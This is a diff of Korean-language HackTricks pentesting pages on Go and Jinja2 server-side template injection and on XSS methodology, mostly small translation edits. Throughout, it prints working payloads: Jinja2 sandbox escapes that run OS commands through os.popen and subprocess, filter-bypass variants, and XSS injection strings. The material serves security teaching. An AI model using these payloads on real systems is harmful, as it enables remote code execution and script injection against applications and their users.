RCE 착취는 `html/template`와 `text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
|
||||
RCE 익스플로잇은 `html/template`와 `text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
|
||||
|
||||
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있는 경우, `{{ .System "ls" }}`와 같이 착취할 수 있습니다. 이를 착취하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
|
||||
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있는 경우, `{{ .System "ls" }}`와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -959,8 +962,8 @@ return string(out)
|
|||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Jinja2 SSTI
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -47,6 +47,7 @@ app.run()
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **모든 구성 변수 덤프**
|
||||
|
@ -63,12 +64,13 @@ app.run()
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
우선, Jinja injection에서는 **샌드박스에서 탈출할 방법을 찾아야** 하며, 일반적인 파이썬 실행 흐름에 접근을 복구해야 합니다. 이를 위해 **비샌드박스 환경에서 오는 객체를 악용해야** 하며, 이 객체들은 **샌드박스에서 접근할 수 있습니다**.
|
||||
우선, Jinja injection에서는 **샌드박스에서 탈출할 방법을 찾아야** 하며, 일반 파이썬 실행 흐름에 접근해야 합니다. 이를 위해 **비샌드박스 환경에서 온 객체를 악용해야** 하며, 이 객체는 **샌드박스에서 접근할 수 있습니다**.
|
||||
|
||||
### Accessing Global Objects
|
||||
### Global Objects 접근하기
|
||||
|
||||
예를 들어, 코드 `render_template("hello.html", username=username, email=email)`에서 객체 username과 email은 **비샌드박스 파이썬 환경에서 오며** **샌드박스 환경 내에서 접근할 수 있습니다**.\
|
||||
게다가, **샌드박스 환경에서 항상 접근할 수 있는** 다른 객체들도 있습니다.
|
||||
|
@ -82,7 +84,7 @@ request
|
|||
```
|
||||
### Recovering \<class 'object'>
|
||||
|
||||
그런 다음, 이러한 객체에서 정의된 **클래스**를 **복구**하기 위해 **`<class 'object'>`** 클래스에 도달해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하고 **비샌드박스** python 환경의 모든 클래스를 **접근**할 수 있기 때문입니다.
|
||||
그런 다음, 이러한 객체에서 정의된 **클래스**를 **복구**하기 위해 **`<class 'object'>`** 클래스에 도달해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하고 **비샌드박스**된 파이썬 환경의 모든 클래스를 **접근**할 수 있기 때문입니다.
|
||||
|
||||
이 **객체 클래스**에 접근하려면 **클래스 객체**에 접근한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 접근해야 합니다. 그리고 나서, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 **호출**합니다.
|
||||
|
||||
|
@ -123,15 +125,16 @@ dict.__mro__[-1]
|
|||
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### RCE Escaping
|
||||
|
||||
**복구한 후** `<class 'object'>` 및 `__subclasses__`를 호출하면 이제 이러한 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
|
||||
**복구한 후** `<class 'object'>` 및 `__subclasses__`를 호출하여 이제 이러한 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
|
||||
|
||||
`__subclasses__` 호출을 통해 **수백 개의 새로운 함수에 접근할 수 있는 기회**를 얻었으며, 우리는 **파일 클래스**에 접근하여 **파일을 읽고/쓰거나** 명령을 실행할 수 있는 클래스에 접근하는 것만으로도 기쁠 것입니다 (예: `os`).
|
||||
`__subclasses__` 호출을 통해 **수백 개의 새로운 함수에 접근할 수 있는 기회**를 얻었으며, 우리는 **파일 클래스**에 접근하여 **파일을 읽고/쓰는 것**이나 **명령을 실행할 수 있는** 클래스에 접근하는 것만으로도 기쁠 것입니다 (예: `os`).
|
||||
|
||||
**원격 파일 읽기/쓰기**
|
||||
```python
|
||||
|
@ -162,7 +165,7 @@ dict.__mro__[-1]
|
|||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
더 많은 **클래스**를 사용하여 **탈출**하는 방법을 **확인**하려면 다음을 참조하세요:
|
||||
더 많은 **클래스**를 사용하여 **탈출**하는 방법을 배우려면 **확인**할 수 있습니다:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -173,7 +176,7 @@ dict.__mro__[-1]
|
|||
#### 일반적인 우회
|
||||
|
||||
이 우회는 **일부 문자**를 사용하지 않고도 객체의 **속성**에 **접근**할 수 있게 해줍니다.\
|
||||
우리는 이미 이전 예제에서 이러한 우회 중 일부를 보았지만, 여기에서 요약해 보겠습니다:
|
||||
우리는 이미 이전 예제에서 이러한 우회 중 일부를 보았지만, 여기서 요약해 보겠습니다:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -201,6 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**전역 객체에 접근할 수 있는 더 많은 옵션은 여기에서 확인하세요**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**객체 클래스에 접근할 수 있는 더 많은 옵션은 여기에서 확인하세요**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
|
@ -214,7 +218,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**`safe`** 필터는 우리가 페이지에 JavaScript와 HTML을 **HTML 인코딩**되지 않은 상태로 주입할 수 있게 해줍니다, 다음과 같이:
|
||||
**`safe`** 필터는 우리가 페이지에 JavaScript와 HTML을 **HTML 인코딩**되지 않은 채로 주입할 수 있게 해줍니다, 이렇게:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
|
@ -233,7 +237,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
```
|
||||
## 여러 문자 없이
|
||||
|
||||
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** 없이
|
||||
Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||
```python
|
||||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
|
@ -241,6 +245,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Jinja Injection without **\<class 'object'>**
|
||||
|
||||
|
@ -281,6 +286,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
## Extra
|
||||
## The global from config have a access to a function called import_string
|
||||
## with this function you don't need to access the builtins
|
||||
|
@ -290,7 +296,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing)는 CTF에 특화된 도구이지만 실제 시나리오에서 잘못된 매개변수를 무차별 대입하는 데에도 유용할 수 있습니다. 이 도구는 필터를 감지하고 우회 경로를 찾기 위해 단어와 쿼리를 뿌리며, 대화형 콘솔도 제공합니다.
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing)는 CTF에 특화된 도구이지만 실제 시나리오에서 잘못된 매개변수를 무차별 대입하는 데에도 유용할 수 있습니다. 이 도구는 필터를 감지하고 우회 경로를 찾기 위해 단어와 쿼리를 뿌려주며, 대화형 콘솔도 제공합니다.
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -323,8 +329,8 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -2,28 +2,28 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 찾고 있습니다!** (_유창한 폴란드어 구사 필수_).
|
||||
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Methodology
|
||||
## 방법론
|
||||
|
||||
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다.
|
||||
2. **반영/사용되는 맥락**을 찾습니다.
|
||||
3. **반영된 경우**
|
||||
1. **어떤 기호를 사용할 수 있는지** 확인하고 그에 따라 페이로드를 준비합니다:
|
||||
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
|
||||
1. **원시 HTML**에서:
|
||||
1. 새로운 HTML 태그를 생성할 수 있습니까?
|
||||
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까?
|
||||
3. 보호를 우회할 수 있습니까?
|
||||
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
|
||||
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
|
||||
2. **HTML 태그 내부**에서:
|
||||
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
|
||||
2. **HTML 태그** 내부에서:
|
||||
1. 원시 HTML 맥락으로 나갈 수 있습니까?
|
||||
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
|
||||
3. 당신이 갇힌 속성이 JS 실행을 지원합니까?
|
||||
4. 보호를 우회할 수 있습니까?
|
||||
3. **JavaScript 코드 내부**에서:
|
||||
3. **JavaScript 코드** 내부에서:
|
||||
1. `<script>` 태그를 이스케이프할 수 있습니까?
|
||||
2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
|
||||
3. 템플릿 리터럴 \`\`에 입력이 있습니까?
|
||||
|
@ -31,7 +31,7 @@
|
|||
4. 실행 중인 Javascript **함수**
|
||||
1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)`
|
||||
4. **사용된 경우**:
|
||||
1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 **제어된 입력이 어떤 싱크에 사용되는지** 주의하십시오.
|
||||
1. **DOM XSS**를 악용할 수 있습니다. 입력이 어떻게 제어되는지, 그리고 **제어된 입력이 어떤 싱크에 사용되는지** 주의하십시오.
|
||||
|
||||
복잡한 XSS 작업을 할 때 알아두면 유용한 정보는 다음과 같습니다:
|
||||
|
||||
|
@ -39,7 +39,7 @@
|
|||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reflected values
|
||||
## 반영된 값
|
||||
|
||||
XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 **당신이 제어하는 값이 웹 페이지에 반영되고 있는지**입니다.
|
||||
|
||||
|
@ -47,23 +47,23 @@ XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 **
|
|||
* **저장되고 반영된 경우**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **저장된 XSS**를 악용할 수 있습니다.
|
||||
* **JS를 통해 접근된 경우**: 당신이 제어하는 값이 JS를 사용하여 접근되고 있다면 **DOM XSS**를 악용할 수 있습니다.
|
||||
|
||||
## Contexts
|
||||
## 맥락
|
||||
|
||||
XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의 입력이 어디에 반영되고 있는지**입니다. 맥락에 따라 다양한 방법으로 임의의 JS 코드를 실행할 수 있습니다.
|
||||
|
||||
### Raw HTML
|
||||
### 원시 HTML
|
||||
|
||||
당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이는 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
|
||||
또한 [클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)을 염두에 두십시오.
|
||||
당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
|
||||
또한, [클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)을 염두에 두십시오.
|
||||
|
||||
### Inside HTML tags attribute
|
||||
### HTML 태그 속성 내부
|
||||
|
||||
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
|
||||
|
||||
1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
|
||||
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="`
|
||||
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어한다면 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **속성과 태그에서 이스케이프** (그럼 원시 HTML에 있게 되며) 새로운 HTML 태그를 생성하여 악용합니다: `"><img [...]`
|
||||
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **이벤트를 생성**하여 JS 코드를 실행할 수 있습니다: `" autofocus onfocus=alert(1) x="`
|
||||
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
|
||||
```html
|
||||
|
@ -75,8 +75,8 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
|
|||
|
||||
이 경우 귀하의 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 사이에 반영됩니다:
|
||||
|
||||
* **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 귀하의 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못하기 때문입니다.
|
||||
* **JS 문자열** 안에 반영되고 마지막 트릭이 작동하지 않는 경우, 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다):
|
||||
* **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 귀하의 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
|
||||
* **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -87,24 +87,24 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
|
|||
\u0061lert(1)
|
||||
\u{0061}lert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
#### 자바스크립트 호이스팅
|
||||
|
||||
Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하여, 선언되지 않은 변수나 함수를 사용하는 XSS 시나리오를 악용할 수 있습니다.**\
|
||||
자바스크립트 호이스팅은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하여, 선언되지 않은 변수나 함수를 사용하는 XSS 시나리오를 악용할 수 있습니다.**\
|
||||
**자세한 내용은 다음 페이지를 확인하세요:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
[js-hoisting.md](js-hoisting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Javascript Function
|
||||
### 자바스크립트 함수
|
||||
|
||||
여러 웹 페이지에는 **실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트**가 있습니다. 실제로 흔히 볼 수 있는 예는 `?callback=callbackFunc`와 같은 것입니다.
|
||||
|
||||
사용자가 직접 제공한 것이 실행되려고 하는지 알아내는 좋은 방법은 **매개변수 값을 수정하는 것**입니다 (예: 'Vulnerable'로 변경) 그리고 콘솔에서 다음과 같은 오류를 찾는 것입니다:
|
||||
사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정하는 것**(예: 'Vulnerable'로)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
취약한 경우, **값을 보내기만 해도 경고를 트리거할 수 있습니다**: **`?callback=alert(1)`**. 그러나 이러한 엔드포인트는 **내용을 검증하여 문자, 숫자, 점 및 밑줄만 허용하는 것이 매우 일반적입니다** (**`[\w\._]`**).
|
||||
취약한 경우, **값을 보내기만 해도 경고를 트리거할 수 있습니다**: **`?callback=alert(1)`**. 그러나 이러한 엔드포인트는 **내용을 검증하여** 문자, 숫자, 점 및 밑줄만 허용하는 것이 매우 일반적입니다 (**`[\w\._]`**).
|
||||
|
||||
그러나 이러한 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 **DOM의 모든 요소에 접근할 수 있기 때문입니다**:
|
||||
|
||||
|
@ -138,7 +138,7 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일을 읽는** 데 악용될 수 있습니다.\
|
||||
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이들은 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일**을 **읽는** 데에도 악용될 수 있습니다.\
|
||||
일부 **예시**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -153,11 +153,11 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd
|
|||
|
||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## 원시 HTML 내 주입
|
||||
## 원시 HTML 내에서 주입하기
|
||||
|
||||
입력이 **HTML 페이지 내에서** 반영되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있는 경우, **첫 번째**로 해야 할 일은 `<`를 사용하여 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **문자**를 **반영**해보고 **HTML 인코딩**되었는지, **삭제**되었는지, 또는 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
|
||||
이 경우에도 **[Client Side Template Injection](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
|
||||
_**참고: HTML 주석은**** ****`-->`**** ****또는**** ****`--!>`**로 닫을 수 있습니다._
|
||||
_**참고: HTML 주석은\*\*\*\***** ****`-->`**** ****또는 \*\*\*\*****`--!>`**로 닫을 수 있습니다._
|
||||
|
||||
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
```html
|
||||
|
@ -230,10 +230,10 @@ onerror=alert`1`
|
|||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
### 길이 우회 (작은 XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
|
||||
**다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -242,23 +242,23 @@ onerror=alert`1`
|
|||
<script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
More of these characters can be found [여기](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [여기](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
||||
If in order to exploit the vulnerability you need the **사용자가 링크나 양식**을 클릭하도록 해야 한다면 [**Clickjacking을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/)because you could **exploit** the vulnerability **without** executing **JS** code.
|
||||
If you just think that **JS 코드를 실행하는 속성을 가진 HTML 태그를 만드는 것은 불가능하다**고 생각한다면 [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)을 확인해 보세요. 왜냐하면 **JS** 코드를 실행하지 않고도 **취약점을 악용**할 수 있기 때문입니다.
|
